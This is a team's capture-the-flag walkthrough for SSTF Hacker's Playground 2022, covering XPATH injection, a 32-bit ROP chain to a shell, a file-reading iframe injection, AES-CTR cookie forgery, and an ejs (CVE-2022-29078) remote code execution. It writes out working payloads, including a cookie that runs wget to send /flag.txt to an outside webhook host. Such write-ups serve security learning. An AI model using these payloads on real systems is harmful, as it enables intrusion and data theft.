SSTF Hacker's playground 2022 - Jeopardy CTF Walkthrough
This CTF was organized by Samsung Research Security Team
, and was a side event of SSTF.
Tasks were divided in Tutorial
and Challenges
, we solved all tasks of the first section and some of the second.
We show here short writeups for all the tasks we solved from the Challenges
section.
Yet Another Injection
Authors: SirFrigo & Daloski
Description: XPATH injection
Category: Web
Points: 110
SQL is not the only target of injection attacks. http://yai.sstf.site Note: If this challenge is too difficult for you, please revisit SQLi 101 and SQLi 102. The principle is the same as SQLi.
In the login page, we click hint
which shows page source code.
Here we get already a registered user:
username: guest, pwd: guest
We also see that there are other files, paperdetail.php
and library.php
, and we can see their sources too!
(For example: http://yai.sstf.site/login.php?showsrc=library.php
)
We login using guest:guest
and we get a list of articles. Clicking on one of them will make a POST request to /paperdetail?idx=
.
Analyzing library.php
we see that it has a XPATH injection vulnerability on idx attribute (in getDetail function):
Using 1' or @published='no']\x00
as payload allows us to see not published articles. We get just one article as response, containing the flag:
SCTF{W4KE_up_IT's_mOndAy_m0rn1n9_183689c7}
DocxArchive
Author: Daloski
Description: Data extraction from metadata files
Category: Rev/Misc
Points: 110
I developed a simple and useful program that attaches a file into word file. But… why I cannot open file? I thought I developed perfect program, but it was not true. Wait, where is the source file? I cannot find my attachment file! I think I need to extract attachment file from word. Download: DocxArchive.zip
We open the file RecoverMe.docx
and double click on Open-me.bin. It will download a .tmp file.
It is an EMF file (Enhanced Metafile Format). Rename it to name.emf and open it with InkScape to get the flag!
Actually, on some OSes, you can just view the flag from the .tmp file.
SCTF{Do-y0u-kn0w-01E-4nd-3mf-forM4t?}
pppr
Author: Shotokhan
Description: A basic ROP chain
Category: Pwn
Points: 111
A simple x86 ROP exercise for tutorial graduates. Server: nc pppr.sstf.site 1337 Download: pppr.zip
We download the binary and run the basic static analysis on it:
$ file pppr
pppr: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=c8800d35a108c24d3ae283f304c14ae36cca31e6, not stripped
$ checksec pppr
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
By interacting with it and by analyzing it in Ghidra, we learn that it takes at most 63 bytes from stdin and adds a null byte, and stores them into a buffer of 4 bytes.
The input is taken in a function called r
, which takes three parameters: buffer, number of bytes to read, stream number.
The “stream number” parameter is not actually used to choose a stream, there is just the check that it is equal to 0.
The system
function is linked in the binary, wrapped by a function called x
, and there is a 128-bytes long scratch buffer in bss section called buf_in_bss
.
The binary is 32-bit, so parameters are passed on the stack (we can double check this by looking at disassembly).
So, when calling system
in a ROP, we have to prepare gadgets in this layout:
system | ret_addr | buf_in_bss
We can put an arbitrary ret_addr
after system: if it’s called correctly, the new program will replace the running one in the process context.
We choose to use buf_in_bss
as parameter for the system
function because it’s easier to write a string there.
To write there, we can re-use r
function, by passing as first parameter buf_in_bss
, as second parameter the length of our program’s name (which will be /bin/sh
, so we can pass 7 or 8 as length), and 0 as third parameter, like that:
r | ret_addr | buf_in_bss | 8 | 0
We then need a gadget to consume the three parameters after the return from the r
function, and to later return to system@plt
.
This gadget will be the ret_addr
of r
; a good one:
0x080486a9 : pop esi ; pop edi ; pop ebp ; ret
The full chain will be:
BOF | r | pop_esi_edi_ebp_ret | buf_in_bss | 8 | 0 | system | ret_addr | buf_in_bss
Where BOF is an arbitrary payload of 12 bytes, since the offset from the start of the buffer to the return address is 12 bytes.
Here is the script:
And here is the execution:
[+] Opening connection to pppr.sstf.site on port 1337: Done
[*] Switching to interactive mode
$ ls
bin
boot
dev
etc
flag.txt
home
lib
lib32
lib64
libx32
media
mnt
opt
proc
root
run
sbin
srv
start.sh
sys
tmp
usr
var
$ cat flag.txt
SCTF{Anc13nt_x86_R0P_5kiLl}
Imageium
Authors: SirFrigo & Daloski
Description: RCE using old version of Pillow (reverse shell)
Category: Web/Misc
Points: 111
This is yet another secure color channel mixer. Server: http://imageium.sstf.site
We select random mode and then generate the image, then right click on the image to open it in a new tab. We get a request to (if we choose mode R):
http://imageium.sstf.site/dynamic/modified?mode=r
Everything put after ?mode=
is evaluated by python, so we put this payload to create a reverse shell:
Flag is in secret/flag.txt
.
SCTF{3acH_1m@ge_Has_iTs_0wN_MagIC}
CUSES
Author: Shotokhan
Description: AES-CTR cookie forgery
Category: Crypto/Web
Points: 118
I heared that cookie is obsolete and weak. So I made a CUstom SESsion using AES encryption. I am safe now. http://cuses.sstf.site Note: If you don’t know how to solve this problem, it would be helpful to study RC four tutorial again.
There is a website which comes with an interface for login and registration.
When trying to register, there is an error message saying that only admin can register users.
Anyway, when looking at HTML source, we can see that there is a comment stating that you can login with the following credentials: guest / guestpassword
.
At this point, after logging in, we have the following message:
Welcome, guest :)
Only admin can see the flag. Sorry.
And we have the buttons view source
and logout
.
Therefore we look at the source:
So we learn that the cookie is of the following format:
base64(iv|enc_session_data)
where:
enc_session_data = AES_128_CTR(session_data, server_secret, iv, options)
and:
session_data = username|auth_code
with auth_code = server_secret
.
You can find some details about CTR mode here.
In this case, the iv
is used as nonce, and it’s combined with the counter
of each 16-bytes block.
Our session is:
hWtUgnDPrUtSR4aKFvanynz1o5buraSaQLWy43gECobFtUlYabLkuQOVFnYdARiy+GlE426E8pNJEtRxVI3oImWHz63ZJqYHLv5tkyOVTNOvTRRjhCvcEg==
By decoding it and inspecting it, we can see that there are 16 bytes for the iv
, then the vertical bar, then other 71 bytes.
Note that the total number of bytes is not multiple of 16 because CTR mode acts “like a stream cipher”.
We know that our username is guest
, so the server_secret
is 65 bytes long and the 71 bytes of enc_session_data
are:
AES-CTR bitstream
XOR
guest|server_secret
Note that AES requires a 16 byte key, so the server_secret
is used as a passphrase to generate the key, as we can also see from PHP docs.
An interesting thing about AES-CTR is that the xor-bitstream is the same for encryption and decryption, in this way it is very similar to a stream cipher.
So, knowing part of the plaintext means that we also know the corresponding part of the xor-bitstream.
To get the flag, we need to login as admin
, and luckily it has the same length of guest
and needs to be in the same position in the cookie.
Therefore we can just xor the part of the cookie where the username should be with the string guest
, xor the result with the string admin
and encode the cookie again. The hex of the encrypted guest
username is:
f5 a3 96 ee ad
After performing xor with guest
and with admin
, the resulting hex is:
f3 b2 9e f4 b7
Back to the cookie in base64:
hWtUgnDPrUtSR4aKFvanynzzsp70t6SaQLWy43gECobFtUlYabLkuQOVFnYdARiy+GlE426E8pNJEtRxVI3oImWHz63ZJqYHLv5tkyOVTNOvTRRjhCvcEg==
Now we’re able to get the flag:
SCTF{T3ll_me_4_r3ally_s3cure_w4y_to_m4na9e_5eSS10ns}
5th degree
Author: 0xDark
Description: Find min/max of function in a given range, for many rounds with a timeout
Category: Misc/Web
Points: 121
It’s highschool math. Server: http://5thdegree.sstf.site
By interacting with the service, we got this message:
In the next page, you'll get an equation and range about x.
Please find minimum and maximum values of y while x is in the given range.
For your convinience, equations are designed to have integer solutions.
You should pass 30 rounds in 60 seconds.
Click the button when you're ready.
After clicking Start
button, we have the first equation, something like:
y = -949x^5 - 575473600x^4 + 1592492250118835x^3 + 1390451370472346878800x^2 + 172989325446300530746488000x + 857969
Find minimum and maximum of y, where 416978 \le x \le 763114 .
It can either be solved analytically or with brute-force, since the range isn’t very high.
To save time, I first tried with brute-force; this is the script:
This approach worked, here is the flag:
SCTF{I_w4nt_t0_l1v3_in_a_wOrld_w1thout_MATH}
Online Education
Authors: SirFrigo & Daloski
Description: Forge custom cookie using information leak from path traversal
Category: Web
Points: 139
I made an online education service! Watching education videos is so boring :( Server: http://onlineeducation.sstf.site Download: OnlineEducation.zip
The objective is to get the certificate by completing the courses and using the certificate to leak some secrets.
- To get the certificate we first start a course and then finish it using a negative “rate” (we out -2000). This is done with POST requests to
/status
, first with attribute{"action":"start"}
, and then{"action":"finish", "rate":-2000}
. Repeat this 3 times to finish all courses. - To leak info from the certificate we use a SSTI using as email:
test@test.com<iframe src='file:///home/app/config.py'></iframe>
This will put config.py
content inside the certificate pdf.
From the leak, we take the secret_key
and craft a custom cookie with jwt.io, writing:
Then we use that cookie to get the flag in /flag
.
Here is the script to leak secret_key
:
And here is the flag:
SCTF{oh_I_forgot_to_disable_javascript}
JWT Decoder
Authors: Ve & Shotokhan
Description: Abusing CVE-2022-29078 for RCE with JWT
Category: Web
Points: 142
I am studying nodejs web programming. I wrote simple JWT decode web site with popular node packages. Using recent packages, I certain that there is no severe security issue! Server1: http://jwtdecoder.sstf.site Server2: http://jwtdecoder.sstf.site:8080 Download: jwt_decoder.zip
The service enables to modify a JWT client-side, set it as cookie and send it to the server, which renders a template with fields from the JWT.
Source code is provided, as well as package versions, Dockerfile and so on.
If we build the container image locally, we get warning for a critical vulnerability from npm audit
, about the package ejs
.
These are the dependencies:
{
"dependencies": {
"cookie-parser": "^1.4.6",
"ejs": "^3.1.6",
"express": "^4.17.3"
}
}
We can see a proof of concept for the vulnerability, which is a RCE, here.
In the proof of concept, server-side there is something like res.render('index', req.query);
, whereas in our case the second parameter to the render
function is the object rawJwt
, as we can see in the source code of app.js
:
To try the RCE, we changed the source code by passing req.query
as second parameter to render
instead of rawJwt
.
We also added some console.log
calls to see the rawJwt
at different stages and compare it to req.query
.
Therefore, we can do the RCE locally with a query like this:
http://0.0.0.0:3000/?body=ve&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('touch /tmp/ve.txt');s
The resulting req.query
object is:
The RCE part has settings
as top-level key and is a nested object.
We would like to set rawJwt
like that, but it is a string when read as cookie, and when it becomes an object (in the “try” block) it doesn’t set keys based on user-input, only values that are strings, anyway.
So we thought that the best idea was to make the “try” block fail before re-assigning an object to rawJwt
variable, in such a way that rawJwt
keeps the fields it has when read as a cookie from req.cookies
.
Then, we saw that cookie-parser
package is used to read cookies. By reading online documentation, we saw that cookieParser
function by default tries to decode JSON cookies.
Therefore, we tried to set the cookie as JSON, but it was still parsed as string.
At this point we investigated cookie-parser
source code on GitHub, and saw that a cookie is parsed as JSON only if it has the prefix j:
, like you can see here.
Furthermore, the cookie’s value has to be URL encoded, obviously.
We tested the RCE with the following cookie:
j:{"settings":{"view options":{"outputFunctionName":"x;process.mainModule.require('child_process').execSync('touch /tmp/shoto.txt');s"}}}
And it worked!
Now we just have to send it to the real server, with an RCE payload to read the flag and send it to our webhook:
j:{"settings":{"view options":{"outputFunctionName":"x;process.mainModule.require('child_process').execSync('wget https://webhook.site/[REDACTED]/?flag=$(cat /flag.txt)');s"}}}
And here is the flag:
SCTF{p0pul4r_m0dule_Ar3_n0t_4lway3_s3cure}